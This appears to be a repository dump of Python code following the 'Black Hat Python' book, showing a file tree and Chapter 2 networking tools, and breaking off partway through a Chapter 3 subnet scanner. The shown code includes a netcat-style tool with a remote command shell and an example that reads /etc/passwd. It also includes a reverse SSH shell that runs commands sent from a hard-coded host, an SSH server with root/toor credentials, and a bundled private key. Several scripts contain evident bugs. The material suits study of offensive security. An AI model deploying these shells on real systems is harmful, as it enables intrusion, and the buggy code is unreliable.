├── .gitignore ├── Chapter 2 ├── README.md ├── bhp_net.py ├── bhp_reverse_ssh_cmd.py ├── bhp_ssh_cmd.py ├── bhp_ssh_server.py ├── rfoprward.py ├── tcp_client.py ├── tcp_proxy.py ├── tcp_server.py ├── test_rsa.key └── udp_client.py ├── Chapter 3 ├── scanner.py ├── sniffer.py ├── sniffer_ip_header_decode.py └── sniffer_with_icmp.py ├── Chapter 4 ├── README.md ├── arper.py ├── mail_sniffer.py └── pic_carver.py ├── Chapter 5 ├── README.md ├── SVN_README.txt ├── SVN_all.txt ├── cain.txt ├── content_bruter.py ├── joomla_killer.py ├── web_app_mapper.py └── wordpress_killer.py ├── Chapter 6 ├── README.md ├── bhp_bing.py ├── bhp_fuzzer.py └── bhp_wordlist.py ├── Chapter 7 ├── README.md ├── config │ └── abc.json ├── data │ └── sample.txt ├── git_trojan.py └── modules │ ├── dirlister.py │ └── environment.py ├── Chapter 8 ├── README.md ├── keylogger.py ├── sandbox_detector.py ├── screenshotter.py └── shell_exec.py ├── Chapter 9 ├── README.md ├── cred_server.py ├── decryptor.py ├── ie_exfil.py ├── keygen.py └── mitb.py ├── Chapter10 ├── README.md ├── bhservice │ ├── bhservice.py │ └── bhservice_task.vbs.txt ├── file_monitor.py └── process_monitor.py ├── Chapter11 ├── README.md ├── code_coverage.py ├── code_inject.py ├── grab_hashes.py └── volatility3-1.0.0.zip ├── LICENSE ├── README.md ├── requirements.txt └── tree.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /Chapter 2/README.md: -------------------------------------------------------------------------------- 1 | ## Note for the reader 2 | 3 | The test_rsa.key and the rforward.py files are mentioned from the author on chapter two, but are not given in the context of the book. 4 | You have actually to download them from https://github.com/paramiko/paramiko/tree/main/demos 5 | 6 | I included them here just for convenience since, anyway, you need to have them locally to run the scripts in this part of the book. 7 | -------------------------------------------------------------------------------- /Chapter 2/bhp_net.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import getopt 4 | import threading 5 | import subprocess 6 | 7 | #global var 8 | listen = False 9 | command = False 10 | upload = False 11 | execute = "" 12 | target = "" 13 | upload_destination = "" 14 | port = 0 15 | 16 | def run_command(cmd): 17 | """runs a command and return the output 18 | """ 19 | cmd = cmd.rstrip() 20 | 21 | try: 22 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) 23 | except subprocess.CalledProcessError as e: 24 | output = e.output 25 | 26 | return output 27 | 28 | #handling incoming client connections 29 | def client_handler(client_socket): 30 | global upload 31 | global execute 32 | global command 33 | 34 | #check for upload availables 35 | if len(upload_destination): 36 | 37 | file_buffer = "" 38 | 39 | while True: 40 | data = client_socket.recv(1024) 41 | if not data: 42 | break 43 | else: 44 | file_buffer += data 45 | 46 | try: 47 | with open (upload_destination, "wb") as file_descriptor: 48 | file_descriptor.write(file_buffer.encode("utf-8")) 49 | client_socket.send(f"Successfully saved file to {upload_destination}") 50 | except OSError as e: 51 | client_socket.send(f"Failed to save file to {upload_destination} due to OS Error.\n Details: {e}") 52 | 53 | #check for command execution 54 | if len(execute): 55 | output = run_command(execute) 56 | client_socket.send(output) 57 | 58 | #check if a command shell is requested 59 | if command: 60 | 61 | while True: 62 | client_socket.send("".encode("utf-8")) 63 | 64 | #open to reception until we grab a linefeed (== enter key) 65 | cmd_buffer = b"" 66 | while b"\n" not in cmd_buffer: 67 | cmd_buffer += client_socket.recv(1024) 68 | 69 | #execute and send back results 70 | response = run_command(cmd_buffer) 71 | client_socket.send(response) 72 | 73 | #let's work on incoming connections: 74 | def server_loop(): 75 | global target 76 | global port 77 | 78 | #if target undefined we listen to all interfaces 79 | if not len(target): 80 | target = "0.0.0.0" 81 | 82 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 83 | server.bind(target, port) 84 | server.listen(5) 85 | 86 | while True: 87 | client_socket, addr = server.accept() 88 | 89 | #thread to handle our new client 90 | client_thread = threading.Thread(target=client_handler, args=(client_socket,)) 91 | client_thread.start() 92 | 93 | #if we are not listening, we are a client. Then: 94 | def client_sender(buffer): 95 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 96 | 97 | try: 98 | client.connect((target, port)) 99 | 100 | #if we detect input from stdin, we'll send it, if not we keep waiting 101 | if len(buffer): 102 | client.send(buffer.encode("utf-8")) 103 | 104 | while True: 105 | recv_len = 1 106 | response = b"" 107 | 108 | while recv_len: 109 | data = client.recv(4096) 110 | recv_len = len(data) 111 | response += data 112 | 113 | if recv_len < 4096: 114 | break 115 | 116 | print(response.decode("utf-8"), end=" ") 117 | 118 | #wait for further input and then send it off 119 | buffer = input("") 120 | buffer += "\n" 121 | client.send(buffer.encode("utf-8")) 122 | 123 | except socket.error as e: 124 | print(f"[*] Exception caught. Exiting.") 125 | print(f"[*] Details of error: {e}") 126 | client.close() 127 | 128 | #write the function that will print the instructions if an unknown input is intered 129 | def usage_info(): 130 | print("Netcat Replacement") 131 | print("") 132 | print("Usage: bhp_net.py -t target_host -p port") 133 | print("-l --listen - listen on [host]:[port] for incoming connections") 134 | print("-e --execute=file_to_run - execute the given file upon receiving a connection") 135 | print("-c --command - initialize a command shell") 136 | print("-u --upload=destination - upon receiving a connection upload a file and write it to [destination]") 137 | print("") 138 | print("") 139 | print("Examples:") 140 | print("bhp_net.py -t 192.168.0.1 -p 555 -l -c") 141 | print("bhp_net.py -t 192.168.0.1 -p 555 -l -u=c:\\target.exe") 142 | print("bhp_net.py -t 192.168.0.1 -p 555 -l -e=\"cat /etc/passwd\"") 143 | print("echo 'ABCDEFGHI' |./bhp_net.py -t 192.168.11.12 -p 135") 144 | sys.exit() 145 | 146 | def main(): 147 | global listen 148 | global port 149 | global execute 150 | global command 151 | global upload_destination 152 | global target 153 | 154 | if not len(sys.argv[1:]): 155 | usage_info() 156 | 157 | #read the command line options 158 | try: 159 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", ["help", "listen", "execute", "target", "port", "command", "upload"]) 160 | for o, a in opts: 161 | if o in ("-h", "--help"): 162 | usage_info() 163 | elif o in ("-l", "--listen"): 164 | listen = True 165 | elif o in ("-e", "--execute"): 166 | execute = a 167 | elif o in ("-c", "--commandshell"): 168 | command = True 169 | elif o in ("-u", "--upload"): 170 | upload_destination = a 171 | elif o in ("-t", "--target"): 172 | target = a 173 | elif o in ("-p", "--port"): 174 | port = int(a) 175 | else: 176 | assert False, "Unhandled option" 177 | 178 | except getopt.GetoptError as e: 179 | print(str(e)) 180 | usage_info() 181 | 182 | if not listen and len(target) and port >0: 183 | #read the buffer from command line 184 | #this is blockin, so if not sendin input, unlock with CTRL-D 185 | buffer = sys.stdin.read() 186 | 187 | #send the data off 188 | client_sender(buffer) 189 | 190 | if listen: 191 | server_loop() 192 | 193 | main() 194 | -------------------------------------------------------------------------------- /Chapter 2/bhp_reverse_ssh_cmd.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import paramiko 3 | 4 | def ssh_command(ip, user, passwd, command): 5 | client = paramiko.SSHClient() 6 | # client can also support using key files 7 | # client.load_host_keys("/home/user/.ssh/known_host") 8 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | client.connect(ip, username=user, password=passwd) 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.send(command) 13 | print(ssh_session.recv(1024)) # read banner 14 | 15 | while True: 16 | # get the command from the SSH server 17 | command = ssh_session.recv(1024) 18 | try: 19 | cmd_output = subprocess.check_output(command.decode(), shell=True) 20 | ssh_session.send(cmd_output) 21 | except Exception as e: 22 | ssh_session.send(str(e)) 23 | client.close() 24 | return 25 | 26 | ssh_command("192.168.100.130", "justin", "lovesthepython", "ClientConnected") 27 | -------------------------------------------------------------------------------- /Chapter 2/bhp_ssh_cmd.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import paramiko 3 | 4 | def ssh_command(ip, user, passwd, command): 5 | client = paramiko.SSHClient() 6 | # client can also support using key files 7 | # client.load_host_keys("/home/user/.ssh/known_host") 8 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | client.connect(ip, username=user, password=passwd) 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.exec_command(command) 13 | print(ssh_session.recv(1024)) 14 | return 15 | 16 | ssh_command("192.168.100.130", "justin", "lovesthepython", "ClientConnected") -------------------------------------------------------------------------------- /Chapter 2/bhp_ssh_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import paramiko 3 | import threading 4 | import sys 5 | 6 | # using the server host key from the paramiko demo files 7 | host_key = paramiko.RSAKey(filename="test_rsa.key") 8 | 9 | class Server(paramiko.ServerInterface): 10 | def __init__(self): 11 | self.event = threading.Event() 12 | 13 | def check_channel_request(self, kind, chanid): 14 | if kind == "session": 15 | return paramiko.OPEN_SUCCEEDED 16 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 17 | 18 | def check_auth_password(self, username, password): 19 | if username == "root" and password == "toor": 20 | return paramiko.AUTH_SUCCESSFUL 21 | return paramiko.AUTH_FAILED 22 | 23 | server = sys.argv[1] 24 | ssh_port = int(sys.argv[2]) 25 | 26 | try: 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 29 | sock.bind((server, ssh_port)) 30 | sock.listen(100) 31 | print("[+] Listening for connection...") 32 | client, addr = sock.accept() 33 | except Exception as e: 34 | print(f"[-] Listen failed: {e}") 35 | sys.exit(1) 36 | 37 | print("[+] Got a connection!") 38 | 39 | try: 40 | # noinspection PyTypeChecker 41 | bh_session = paramiko.Transport(client) 42 | bh_session.add_server_key(host_key) 43 | server = Server() 44 | 45 | try: 46 | bh_session.start_server(server=server) 47 | except paramiko.SSHException: 48 | print("[-] SSH Negotiation failed") 49 | 50 | chan = bh_session.accept(20) 51 | print("[+] Authenticated!") 52 | print(chan.recv(1024)) 53 | chan.send("Welcome to bhp_ssh!") 54 | 55 | while True: 56 | 57 | try: 58 | command = input("Enter command: ").strip("\n") 59 | 60 | if command != "exit": 61 | chan.send(command) 62 | print(chan.recv(1024).decode(errors="ignore") + "\n") 63 | else: 64 | chan.send("exit") 65 | print("Exiting...") 66 | bh_session.close() 67 | raise Exception("exit") 68 | except KeyboardInterrupt: 69 | bh_session.close() 70 | except Exception as e: 71 | print(f"[-] Caught exception: {str(e)}") 72 | bh_session.close() 73 | finally: 74 | sys.exit(1) 75 | 76 | 77 | -------------------------------------------------------------------------------- /Chapter 2/rfoprward.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (C) 2008 Robey Pointer 4 | # 5 | # This file is part of paramiko. 6 | # 7 | # Paramiko is free software; you can redistribute it and/or modify it under the 8 | # terms of the GNU Lesser General Public License as published by the Free 9 | # Software Foundation; either version 2.1 of the License, or (at your option) 10 | # any later version. 11 | # 12 | # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY 13 | # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR 14 | # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more 15 | # details. 16 | # 17 | # You should have received a copy of the GNU Lesser General Public License 18 | # along with Paramiko; if not, write to the Free Software Foundation, Inc., 19 | # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. 20 | 21 | """ 22 | Sample script showing how to do remote port forwarding over paramiko. 23 | 24 | This script connects to the requested SSH server and sets up remote port 25 | forwarding (the openssh -R option) from a remote port through a tunneled 26 | connection to a destination reachable from the local machine. 27 | """ 28 | 29 | import getpass 30 | import os 31 | import socket 32 | import select 33 | import sys 34 | import threading 35 | from optparse import OptionParser 36 | 37 | import paramiko 38 | 39 | SSH_PORT = 22 40 | DEFAULT_PORT = 4000 41 | 42 | g_verbose = True 43 | 44 | 45 | def handler(chan, host, port): 46 | sock = socket.socket() 47 | try: 48 | sock.connect((host, port)) 49 | except Exception as e: 50 | verbose("Forwarding request to %s:%d failed: %r" % (host, port, e)) 51 | return 52 | 53 | verbose( 54 | "Connected! Tunnel open %r -> %r -> %r" 55 | % (chan.origin_addr, chan.getpeername(), (host, port)) 56 | ) 57 | while True: 58 | r, w, x = select.select([sock, chan], [], []) 59 | if sock in r: 60 | data = sock.recv(1024) 61 | if len(data) == 0: 62 | break 63 | chan.send(data) 64 | if chan in r: 65 | data = chan.recv(1024) 66 | if len(data) == 0: 67 | break 68 | sock.send(data) 69 | chan.close() 70 | sock.close() 71 | verbose("Tunnel closed from %r" % (chan.origin_addr,)) 72 | 73 | 74 | def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): 75 | transport.request_port_forward("", server_port) 76 | while True: 77 | chan = transport.accept(1000) 78 | if chan is None: 79 | continue 80 | thr = threading.Thread( 81 | target=handler, args=(chan, remote_host, remote_port) 82 | ) 83 | thr.setDaemon(True) 84 | thr.start() 85 | 86 | 87 | def verbose(s): 88 | if g_verbose: 89 | print(s) 90 | 91 | 92 | HELP = """\ 93 | Set up a reverse forwarding tunnel across an SSH server, using paramiko. A 94 | port on the SSH server (given with -p) is forwarded across an SSH session 95 | back to the local machine, and out to a remote site reachable from this 96 | network. This is similar to the openssh -R option. 97 | """ 98 | 99 | 100 | def get_host_port(spec, default_port): 101 | "parse 'hostname:22' into a host and port, with the port optional" 102 | args = (spec.split(":", 1) + [default_port])[:2] 103 | args[1] = int(args[1]) 104 | return args[0], args[1] 105 | 106 | 107 | def parse_options(): 108 | global g_verbose 109 | 110 | parser = OptionParser( 111 | usage="usage: %prog [options] [:]", 112 | version="%prog 1.0", 113 | description=HELP, 114 | ) 115 | parser.add_option( 116 | "-q", 117 | "--quiet", 118 | action="store_false", 119 | dest="verbose", 120 | default=True, 121 | help="squelch all informational output", 122 | ) 123 | parser.add_option( 124 | "-p", 125 | "--remote-port", 126 | action="store", 127 | type="int", 128 | dest="port", 129 | default=DEFAULT_PORT, 130 | help="port on server to forward (default: %d)" % DEFAULT_PORT, 131 | ) 132 | parser.add_option( 133 | "-u", 134 | "--user", 135 | action="store", 136 | type="string", 137 | dest="user", 138 | default=getpass.getuser(), 139 | help="username for SSH authentication (default: %s)" 140 | % getpass.getuser(), 141 | ) 142 | parser.add_option( 143 | "-K", 144 | "--key", 145 | action="store", 146 | type="string", 147 | dest="keyfile", 148 | default=None, 149 | help="private key file to use for SSH authentication", 150 | ) 151 | parser.add_option( 152 | "", 153 | "--no-key", 154 | action="store_false", 155 | dest="look_for_keys", 156 | default=True, 157 | help="don't look for or use a private key file", 158 | ) 159 | parser.add_option( 160 | "-P", 161 | "--password", 162 | action="store_true", 163 | dest="readpass", 164 | default=False, 165 | help="read password (for key or password auth) from stdin", 166 | ) 167 | parser.add_option( 168 | "-r", 169 | "--remote", 170 | action="store", 171 | type="string", 172 | dest="remote", 173 | default=None, 174 | metavar="host:port", 175 | help="remote host and port to forward to", 176 | ) 177 | options, args = parser.parse_args() 178 | 179 | if len(args) != 1: 180 | parser.error("Incorrect number of arguments.") 181 | if options.remote is None: 182 | parser.error("Remote address required (-r).") 183 | 184 | g_verbose = options.verbose 185 | server_host, server_port = get_host_port(args[0], SSH_PORT) 186 | remote_host, remote_port = get_host_port(options.remote, SSH_PORT) 187 | return options, (server_host, server_port), (remote_host, remote_port) 188 | 189 | 190 | def main(): 191 | options, server, remote = parse_options() 192 | 193 | password = None 194 | if options.readpass: 195 | password = getpass.getpass("Enter SSH password: ") 196 | 197 | client = paramiko.SSHClient() 198 | client.load_system_host_keys() 199 | client.set_missing_host_key_policy(paramiko.WarningPolicy()) 200 | 201 | verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1])) 202 | try: 203 | client.connect( 204 | server[0], 205 | server[1], 206 | username=options.user, 207 | key_filename=options.keyfile, 208 | look_for_keys=options.look_for_keys, 209 | password=password, 210 | ) 211 | except Exception as e: 212 | print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e)) 213 | sys.exit(1) 214 | 215 | verbose( 216 | "Now forwarding remote port %d to %s:%d ..." 217 | % (options.port, remote[0], remote[1]) 218 | ) 219 | 220 | try: 221 | reverse_forward_tunnel( 222 | options.port, remote[0], remote[1], client.get_transport() 223 | ) 224 | except KeyboardInterrupt: 225 | print("C-c: Port forwarding stopped.") 226 | sys.exit(0) 227 | 228 | 229 | if __name__ == "__main__": 230 | main() 231 | -------------------------------------------------------------------------------- /Chapter 2/tcp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | #create a socket obj 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | #connect the client 10 | client.connect((target_host, target_port)) 11 | 12 | #send data 13 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 14 | 15 | #receive data 16 | response = client.recv(4096) 17 | 18 | print (response) 19 | 20 | -------------------------------------------------------------------------------- /Chapter 2/tcp_proxy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import threading 4 | 5 | # this is a pretty hex dumping function taken from 6 | # http://code.activestate.com/recipes/142812-hex-dumper/ 7 | 8 | def hexdump(src, length=16): 9 | """Hex Dump 10 | 11 | This function produce a classic 3 columns hex dump of a string. 12 | The first column print the offset in hexadecimal. 13 | The second colmun print the hexadecimal byte values. 14 | The third column print ASCII values or a dot for non printable characters. 15 | """ 16 | result = [] 17 | digits = 4 if isinstance(src, str) else 2 18 | 19 | for i in range(0, len (src), length): 20 | s = src[i:i + length] 21 | hexa = b" ".join([b"%0*X" % (digits, ord(x)) for x in s]) 22 | text = b"".join([x if 0x20 <= ord(x) < 0x7F else b"." for x in s]) 23 | result.append(b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text)) 24 | 25 | print(b"\n".join(result)) 26 | 27 | def receive_from(connection): 28 | buffer = b" " 29 | connection.settimeout(2) 30 | 31 | # keep reading into the buffer until there's no more data or timeout expires 32 | try: 33 | while True: 34 | data = connection.recv(4096) 35 | if not data: 36 | break 37 | buffer += data 38 | 39 | except TimeoutError: 40 | pass 41 | 42 | return buffer 43 | 44 | # modify any request destined for localhost 45 | def request_handler(buffer): 46 | """Perform packet modifications""" 47 | return buffer 48 | 49 | # modify any response destined for localhost 50 | def response_handler(buffer): 51 | """Perform packet modifications""" 52 | return buffer 53 | 54 | def proxy_handler(client_socket, remote_host, remote_port, receive_first): 55 | """Connect to remote host""" 56 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 57 | remote_socket.connect((remote_host, remote_port)) 58 | 59 | # receive data from remote end if needed 60 | if receive_first: 61 | remote_buffer = receive_from(remote_socket) 62 | hexdump(remote_buffer) 63 | 64 | # send it to our response handler 65 | remote_buffer = response_handler(remote_buffer) 66 | 67 | # send data to local client if any 68 | if len(remote_buffer): 69 | print(f"[<== Sending {len(remote_buffer)} bytes to localhost]") 70 | client_socket.send(remote_buffer) 71 | 72 | # let's loop and read from local, send to remote and repeat 73 | while True: 74 | # read from localhost 75 | local_buffer = receive_from(client_socket) 76 | 77 | if len(local_buffer): 78 | print(f"[==>] Received {len(local_buffer)} from localhost") 79 | hexdump(local_buffer) 80 | 81 | # send it to our request handler 82 | local_buffer = request_handler(local_buffer) 83 | 84 | # send off the data to the remote host 85 | remote_socket.send(local_buffer) 86 | print("[==>] Sent to remote") 87 | 88 | # receive back the response 89 | remote_buffer = receive_from(remote_socket) 90 | 91 | if len(remote_buffer): 92 | print(f"[<==] Received {len(remote_buffer)} from remote") 93 | hexdump(remote_buffer) 94 | 95 | # send to our response handler 96 | remote_buffer = response_handler(remote_buffer) 97 | 98 | # send the response to the local socket 99 | client_socket.send(remote_buffer) 100 | 101 | print("[<==] Sent to localhost") 102 | 103 | # if there's no more data on either side close the connections 104 | if not len(local_buffer) or not len(remote_buffer): 105 | client_socket.close() 106 | remote_socket.close() 107 | print("[*] No more data. Closing connections") 108 | break 109 | 110 | def server_loop(local_host, local_port, remote_host, remote_port, receive_first): 111 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 112 | 113 | try: 114 | server.bind((local_host, local_port)) 115 | except socket.error as e: 116 | print(f"[!!] Failed to listen on {local_host} {local_port}") 117 | print(f"[!!] Check for other listening sockets or correct permissions") 118 | print(f"Caught exception: {e}") 119 | sys.exit() 120 | 121 | print(f"[*] Listening on {local_host}, {local_port}") 122 | 123 | server.listen(5) 124 | 125 | while True: 126 | client_socket, addr = server.accept() 127 | print(f"[==>] Received incoming connection from {addr[0]}, {addr[1]}") 128 | 129 | # start a thread to talk to the remote host 130 | proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first)) 131 | proxy_thread.start() 132 | 133 | def main(): 134 | if len(sys.argv[1:]) != 5: 135 | print("Usage: ./tcp_proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]") 136 | print("Example: ./tcp_proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 137 | sys.exit() 138 | 139 | # setup local listening parameters 140 | local_host = sys.argv[1] 141 | local_port = int(sys.argv[2]) 142 | 143 | # setup remote target 144 | remote_host = sys.argv[3] 145 | remote_port = int(sys.argv[4]) 146 | 147 | # connect and receive data before sending to remote host 148 | receive_first = sys.argv[5] 149 | 150 | if "True" in receive_first: 151 | receive_first = True 152 | else: 153 | receive_first = False 154 | 155 | # start our listening socket 156 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 157 | 158 | main() 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /Chapter 2/tcp_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | bind_ip = "0.0.0.0" 5 | bind_port = 9999 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | server.bind((bind_ip, bind_port)) 10 | 11 | server.listen(5) 12 | 13 | print(f"[*] Listening on {bind_ip}, {bind_port}") 14 | 15 | #client handling thread 16 | def handle_client(client_socket): 17 | """Print out what the clients send 18 | """ 19 | request = client_socket.recv(1024) 20 | 21 | print(f"[*] Received {request}") 22 | 23 | #send back a packet 24 | client_socket.send(b"ACKK!") 25 | print(client_socket.getpeername()) 26 | client.socket() 27 | 28 | while True: 29 | client, addr = server.accept() 30 | 31 | print(f"[*] Accepted connection from {addr[0]}, {addr[1]} ") 32 | 33 | #spin up our client thread to handle incoming data 34 | client_handler = threading.Thread(target=handle_client, args=(client,)) 35 | client.handler.start() -------------------------------------------------------------------------------- /Chapter 2/test_rsa.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz 3 | oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ 4 | d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB 5 | gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 6 | EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon 7 | soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H 8 | tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU 9 | avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 10 | 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g 11 | H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv 12 | qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV 13 | HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc 14 | nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /Chapter 2/udp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "127.0.0.1" 4 | target_port = 80 5 | 6 | #create a socket obj 7 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | #send data 10 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 11 | 12 | #receive data 13 | data, addr = client.recvfrom(4096) 14 | 15 | client.close() 16 | 17 | print (data) -------------------------------------------------------------------------------- /Chapter 3/scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | import threading 5 | from ipaddress import ip_address, ip_network 6 | import ctypes 7 | 8 | # the book is performing this section using netaddr library 9 | # but this library is no more maintened 10 | # and is being overlapped in Python 3 from stlib ipaddress lib 11 | 12 | # host to listen on 13 | host = "192.168.0.187" 14 | 15 | # subnet to target 16 | tgt_subnet = "192.168.0.0/24" 17 | 18 | # magic we'll check ICMP responses for 19 | tgt_message = "PYTHONRULES!" 20 | 21 | def udp_sender(sub_net, magic_message): 22 | sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 23 | 24 | for ip in ip_network(sub_net).hosts(): 25 | sender.sendto(magic_message.encode("utf-8"), (str(ip), 65212)) 26 | 27 | # the structure has been taken from canonical IP Header definition 28 | # i.e. sites.uclouvain.be/SystInfo/usr/include/netinet/ip.h.html 29 | class IP(ctypes.Structure): 30 | _fields_= [ 31 | ("ihl", ctypes.c_ubyte, 4), 32 | ("version", ctypes.c_ubyte, 4), 33 | ("tos", ctypes.c_ubyte), 34 | ("len", ctypes.c_ushort), 35 | ("id", ctypes.c_ushort), 36 | ("offset", ctypes.c_ushort), 37 | ("ttl", ctypes.c_ubyte), 38 | ("protocol_num", ctypes.c_ubyte), 39 | ("sum", ctypes.c_ushort), 40 | ("src", ctypes.c_uint32), 41 | ("dst", ctypes.c_uint32) 42 | ] 43 | 44 | def __new__(cls, socket_buffer=None): 45 | return cls.from_buffer_copy(socket_buffer) 46 | 47 | def __init__(self, socket_buffer=None): 48 | self.socket_buffer = socket_buffer 49 | 50 | # map protocol constats to their names 51 | self.protocol_map = {1: "ICMP", 6: "TCP", 17:"UDP"} 52 | 53 | # human readable IP addresses 54 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 55 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 56 | 57 | # human readable protocol 58 | try: 59 | self.protocol = self.protocol_map[self.protocol_num] 60 | except IndexError: 61 | self.protocol = str(self.protocol_num) 62 | 63 | class ICMP(ctypes.Structure): 64 | _fields_= [ 65 | ("type", ctypes.c_ubyte), 66 | ("code", ctypes.c_ubyte), 67 | ("checksum", ctypes.c_ushort), 68 | ("unused", ctypes.c_ushort), 69 | ("next_hop_mtu", ctypes.c_ushort) 70 | ] 71 | 72 | def __new__(cls, socket_buffer): 73 | return 